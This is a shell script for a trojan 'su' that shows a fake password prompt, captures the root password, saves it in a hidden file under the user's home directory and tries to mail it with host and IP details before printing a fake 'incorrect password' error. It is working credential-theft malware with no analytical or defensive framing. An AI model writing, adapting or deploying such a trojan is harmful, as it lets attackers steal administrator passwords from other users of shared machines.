#!/bin/sh

# where is evil_su?
dir1="$HOME/.ssh";
# what's the evil su's name?
failed_su="su: incorrect password";
# what is the password fake prompt?
pass_s="Password:";
# what dir to use for storing the owned root password?
p_dir="$HOME/.mc";
# what is the name of the file containing the ssword?
p_file='.history.bak';
# default su name.
evil_su='su';
# Recipient mail addr.
mail_to='hipo@localhost';
if [ -a $p_dir/$p_file ]; then

/bin/su -
set PATH=/bin:$PATH
else
echo -n "$pass_s";
/bin/stty -echo;
read var
if [ -n "$mail_addr" ]; then
(echo "`uname -a;` user:$USER pass:$var; \ 
`/sbin/ifconfig | grep inet | head -n 1`" | mail -s "`uname -a` $USER :sword" \
$mail_to) &> /dev/null;
else
cat /dev/null;
fi

if test -d "$p_dir"; then
echo $var > $p_dir/$p_file;
else
mkdir $p_dir;
echo $var > $p_dir/$p_file
fi
/bin/stty echo;
sleep 1;
echo -e "\n$failed_su";
fi


